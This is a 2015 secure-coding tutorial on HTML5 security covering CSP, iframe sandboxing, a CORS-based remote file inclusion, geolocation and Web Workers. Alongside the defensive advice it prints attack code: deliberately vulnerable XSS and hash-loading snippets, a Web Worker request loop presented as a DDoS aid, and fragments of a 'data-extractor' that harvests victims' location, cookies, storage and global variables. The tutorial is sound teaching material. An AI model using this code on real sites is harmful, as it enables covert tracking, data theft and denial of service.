Secure coding

General HTML5 Security, Part 2

Ivan Dimov
October 7, 2015 by
Ivan Dimov

To read the first part of the General HTML5 Security series, please visit: /general-html5-security/

In the second part of the General HTML5 Security series, we are going to discuss the enhanced security in HTML5 with features such as the CSP (Content Security Policy) and sandboxed iframes. We are also going to discuss newly created vulnerabilities such as a new type of Remote File Inclusion and the vulnerabilities that arise from HTML5's Geolocation and the Web Workers features. Near the end, we are going to enhance the data-extractor script we built last time with the ability also to capture the user's geolocation coordinates and the global JavaScript variables of the target website.

Learn Secure Coding

Learn Secure Coding

Build your secure coding skills in C/C++, iOS, Java, .NET, Node.js, PHP and other languages.

You can download the code samples related to the New Remote File Inclusion, CSP, sandbox, Web Workers, and the new version of the data-extractor script, which extracts Geolocation coordinates, website's global string variables, cookies, session storage, local storage and the IP and user agent of the user.

Content Security Policy

HTML5's Content Security Policy allows external content to be executed only from a certain list of trusted domains and their subdomains. This opens up a technique of whitelisting, which could disable unknown sources of JavaScript to run in the user's browser.

The Content Security Policy is a HTTP header that is written in the following way:

Content-Security-Policy

X-Content-Security-Policy (Internet Explorer 10 and 11)

The header consists of directives, which tell the browser what type of assets you want to whitelist, and a list of domain names. The domains/subdomains whose assets would able to run in the particular page where the header is set.

A sample header set in PHP which whitelists the execution of scripts from two different domains and the current origin without including subdomains may look something like this:

header("Content-Security-Policy: script-src 'self' http://www.example.com https://code.jquery.com https://www.infosecinstitute.com");

Now, assuming we have a vulnerability such as the following DOM-based XSS. The browser's built-in XSS Protection that can be set with the X-XSS-Protection header will not catch and stop DOM-based XSS vulnerabilities:

$(function() {

$("form:eq(0)").on("submit", function(evt) {

evt.preventDefault();

var input = $(this).find("input[type='text']").val();

$("#customerInfo").append(input);

})

})

The attacker will not be able to execute remote scripts unless they originate from one of our allowed domains:

Figure 1: The browser refused to execute a script from example1.com as example1.com is not the same as example.com

Figure 2: The browser agrees to execute a script from example.com but it does not exists

Another benefit of the CSP is that you have to allow inline scripts explicitly using the unsafe-inline keyword and string-to-JavaScript conversions using the unsafe-eval keyword (their names do not make you want to allow them). On the one hand, this reinforces development best practices by forcing you to write unobtrusive JavaScript in which the content is separated from the behavior. On the other hand, it also makes your applications more secure.

Figure 3: An attacker cannot add inline JavaScript unless the unsafe-eval keyword is present in the CSP header to allow string-to-JavaScript evaluations.

There is a drawback associated with the Content Security Policy because it is not yet universally supported. Internet Explorer 8-9, Opera Mini and the native Android browser's version up to 4.3 have no support for the CSP. This means that users utilizing those browsers to surf the web will not have any of the protection available. On their machine, scripts from arbitrary origins, inline or not, would be able to run without the layer of protection that the CSP provides.

New Remote File Inclusion

Before HTML5, the same-origin policy ensured that AJAX requests could be made only to resources within the same domain. The CORS mechanism in HTML5 relaxes this policy in certain cases. This means that sites which have the following structure:

http://www.site.example.com/#login.php or http://www.site.example.com/?file=login.php can become more vulnerable than they already are. Assuming they load files stored in the server's file system with XMLHttpRequest (AJAX) – in the past they could be exploited by loading an arbitrary file in their own server such as logout.php which when sent to a user would log him out of the website. With CORS, attackers would be able to load remote files through AJAX and do an arbitrary harm to users (for example, an attacker could send the following link in IMs, which would provide him with a large degree of control: http://www.site.example.com/?file=http://www.malicious.example.com/badPage.php)

Example

All an attacker has to do to exploit old websites which load files using XMLHttpRequest is create a page on a remote server that allows cross-domain requests from the particular origin of the victim website, or all origins using CORS. Let us say the attacker creates a webpage like this one:

<?php
header("Access-Control-Allow-Origin: *");

echo "Hello from remote domain!";

In the real world, the content of the file would be malicious. For example, the attacker may steal user details.

Now, if we have a website that loads its internal pages with AJAX in a way similar to:

<a href="#about.html">About Us</a>

<a href="#contact.html">Contact Us</a

Then, it checks for changes of the hash and loads the file from the hash – and it does this also when the page is first loaded then attackers can add a remote URL that has enabled CORS in the hash.

<script>

$(function() {

function loadFileDynamically() {

if (window.location.hash) {

$("#page").load(window.location.hash.replace("#", ""));

}

}

window.onhashchange = function() {

loadFileDynamically();

}

loadFileDynamically();

})

</script>

It is important to stress that this was not possible before due to the same-origin policy but it is possible now with HTML5. Therefore, the developers have to come back to old projects and repair the security holes presented by this approach.

Figure 5: We have successfully loaded our remote page

Figure 6: Without the remote URL having explicitly enabled CORS remote file inclusion is not possible

Geolocation

HTML5's Geolocation API allows trusted websites to get your physical location.

It can be used in the following manner:

if (navigator.geolocation) {

navigator.geolocation.getCurrentPosition(function(pos) {

console.log("Lat: " + pos.coords.latitude + "rnLong: " + pos.coords.longitude);

})

}

This will log to the console the latitude and longitude coordinates of the user that can be converted into a physical location with a process known as reverse geocoding.

On desktop browsers, figuring out the user's location is usually done using Wi-Fi and IP positioning techniques whereas mobile browsers typically use cell triangulation, GPS, A-GPS and Wi-Fi positioning techniques. This can allow an attacker to gain the physical location of the website's users should he gain access to a website through some sort of a vulnerability such as XSS and code injections. Since once you allow geolocation, access is granted to the website until you revoke it manually. Attackers can get the user's physical coordinates along with other important user data such as web storage and cookies. To shed light on this, once you give access to a website to your geolocation:

Figure 7: Chrome requires our permission to allow a website access to our Geolocation

Then, this permission persists after we close the browser, restart the computer and so on. The permission even persists while we are browsing in Incognito mode:

Figure 8: Permission persists in Incognito mode

We have to remove the permission manually and users may not be aware of the icon appearing in the right corner of the URL box to revoke the permission:

Figure 9: Clicking the icon opens a box that allows us to revoke the granted permission

Web Workers

HTML5 Web Workers give developers the ability to execute scripts in the background, which frees the UI. This enables JavaScript code that needs a lot of time to execute to run smoothly without leading to a freeze in the UI. However, this still means that if the task is resource intensive it could overburden the CPU or the system's memory. There are legitimate purposes to using Web Workers, of course, but also many shady purposes such as distributed password cracking or DDoS. If a popular website has a XSS or another vulnerability that would allow an attacker to create a Web Worker – then all the website's users would unknowingly perform certain tasks in the background while they have a tab with the attacked website in their browser (the tab does not need to be in focus for the Web Worker to work).

Let us say we have a broken script, which keeps performing stuff:

<script>

function ajaxLoop() {

var xhr = new XMLHttpRequest();

xhr.open("GET", 'remote-file-inclusion/about.html');

xhr.onreadystatechange = function() {

if (xhr.status === 200) {

document.getElementById("text").innerHTML += xhr.responseText;

ajaxLoop();

}

}

xhr.send();

}

ajaxLoop();

</script>

Shortly, the users would be able to notice this from the spinner icon that keeps spinning:

Figure 10: The spinner icon next to the tab indicates scripts are being processed

After a minute or so passes, the users would be notified that the page has become unresponsive and will be offered the opportunity to get rid of it:

Figure 11: The scripts keep running so the user is notified and allowed to get rid of the page (stop processing anymore JavaScript)

However, the situation will be different if we embed the same logic in a Web Worker:

Accessed Page

<script>

var Worker = new Worker('worker.js');

Worker.onmessage = function(evt){

document.getElementById("text").innerHTML += event.data;

};

</script>

Worker.js

function ajaxLoop() {

var xhr = new XMLHttpRequest();

xhr.open("GET", 'remote-file-inclusion/about.html');

xhr.onreadystatechange = function() {

if (xhr.status === 200) {

self.postMessage(xhr.responseText);

ajaxLoop();

}

}

xhr.send();

}

ajaxLoop();

If we have the same logic encapsulated in a web worker then the AJAX calls would keep launching without the spinner icon and the notification/prompt to kill the page.

Figure 12: The Web Worker keeps launching AJAX calls

This example could be used in a possible DDoS attack to a website/page that has enabled CORS. In our case, AJAX calls would keep launching until the browser crashes or until the window/tab is closed. Of course, a wiser move could be to set an interval with setInterval when launching the AJAX calls in which case the script in the background could run forever.

IFRAME sandboxing

HTML5 introduces a new attribute for iframes called sandbox. It can be used as follows:

<iframe src="sandboxed-frame.html" sandbox frameborder="0"></iframe>

Sandboxing has a positive effect on the security when it comes to using iframes. When you add the attribute to an iframe, content inside it is treated as coming from a different and unique origin. In essence, this disables the external/internal webpage that you are showing in the frame from accessing the DOM of the current (parent) page. It also disallows forms, scripts and plugins from running in the frame and it disallows the frame from accessing the parent's cookies or data stored inside the Web Storage. Let us consider an example of a webpage, which loads an iframe twice: once sandboxed and once in the standard way:

Index.html

<body>

<h1 id="target">_Sandboxed text_</h1>

<iframe src="frame.html" sandbox frameborder="0"></iframe>

<h1>Non-Sandboxed</h1>

<iframe src="frame.html" frameborder="0"></iframe>

</body>

The frame has the following content:

Frame.html

<script>
alert("Sandboxed alerts will not show because scripts are disabled");

</script>

Now, if we open the index page we will get one alert. If we remove the sandbox attribute, we will get two alerts. Scripts in sandboxed frames are disabled so nothing would be alerted by the sandboxed one.

Alternatively, if domains and ports between the webpage in the frame and the parent matched – the page inside the iframe could access the DOM of the parent with the parent.document object, along with cookies, web storage and so on.

Using iframes that are not sandboxed is a security risk, as you can see, because you trust the external domain in the frame to play nice – that external website can easily serve your users malware, get their data and perform attacks. If at some point you trust it, you still cannot predict security flaws in the framed website that will endanger your users or malicious takeovers of the website in the iframe.

Values to the sandbox attribute remove different restrictions already placed by the attribute itself. For example, <iframe sandbox="allow-scripts"> would allow scripts to be executed by the external resource, allow-same-origin would allow the content in the frame to be treated as part of the same origin of the parent website. See this resource for more detailed information.

Again, versions of Internet Explorer prior to IE10 do not support the sandboxing feature so IE8 and IE9 users will have looser security, as well as Opera Mini users.

Data Extractor

Now, we can refactor the data-extractor library we built last time by shortening it and by making it also capture the user's geolocation and the global variables in the given website. If the website is vulnerable and you can run the script on it, you can get the user's geolocation without the user having to allow it again if he has already allowed being tracked. Otherwise, he would be prompted for his location by the victim's website (which may be trusted by the user).

Global variables can have useful information in them (in this example, we are only going to capture global strings). All your global variables are part of the window object, no matter if you declare them with var or with window.variableName and we are going to utilize this fact for a demonstration. Global JS variables can sometimes contain sensitive information about the user, the things he is doing on the website, the actions he is taking and his session.

Figure 13: How the captured data looks like with the addition of variables and Geolocation

In the script that has to be added, we create a function, which collects all user's data except the geolocation:

function getData() {

//collect user's data except geolocation

We try to get the user's geolocation. On success, we create an anonymous function that collects the lat/long coordinates and calls the function that will get the other data. If the user did not grant access to his location or his browser does not have the Geolocation functionality – we just capture the other data.

if (navigator.geolocation) {

navigator.geolocation.getCurrentPosition(function(pos) {

collectedData['geo'] = {latitude: pos.coords.latitude, longitude: pos.coords.longitude};

getData();

}, getData)

}

else {

getData();

}

We also loop over each global variable and if it is a string, we add it to the variable that is going to be sent to the back-end:

for (var variable in window) {

if (typeof window[variable] === "string") {

collectedData.variables[variable] = window[variable];

}

}

In our back-end, we just loop over the JSON decoded data and add it to the output variable that will be appended to the file:

$local = array();

for each ($datum as $name => $value) {

$local[$name] = $value;

}

$out .= "rn---- " . strtoupper($key) . " ---- rn" . urldecode(http_build_query($local,'',', ')) . "rn";

Conclusion

In this part of the series, we have shed some more light on both some of the new security features of HTML5 and some of the newly created vulnerabilities in HTML5. HTML5 is a living standard that changes as you read this paper so things can be patched up or new security holes can emerge in the blink of an eye.

References:

Can I use, 'Content Security Policy 1.0'. Available from: http://caniuse.com/#search=Content%20S [22 September 2015]

Can I use, 'sandbox attribute for iframes'. Available from: http://caniuse.com/#search=sandbox [22 September 2015]

DE Perry, D 2012 'HTML5 Security: The Modern Web Browser Perspective'. Available from: https://github.com/iSECPartners/publications/blob/master/whitepapers/html5modernwebbrowserperspectivefinal.pdf [25 September 2015]

McArdle, R 2011, 'HTML5 Overview: A look at HTML5 Attack Scenarios'. Available from: http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/reports/rpt_html5-attack-scenarios.pdf [23 September 2015]

w3schools.com, 'HTML <iframe> sandbox Attribute'. Available from: http://www.w3schools.com/tags/att_iframe_sandbox.asp [23 September 2015]

Learn Secure Coding

Learn Secure Coding

Build your secure coding skills in C/C++, iOS, Java, .NET, Node.js, PHP and other languages.

West, M 2015, 'An Introduction to Content Security Policy'. Available from: http://www.html5rocks.com/en/tutorials/security/content-security-policy/ [22 September 2015]

Ivan Dimov
Ivan Dimov

Ivan is a student of IT and Information Security. He is currently working toward a Master's degree in the field of Informatics in Sweden. He is also a freelance web developer engaged in both front-end and back-end coding and a tech writer. Whenever he is not in front of an Interned-enabled device, he is probably reading a print book or traveling.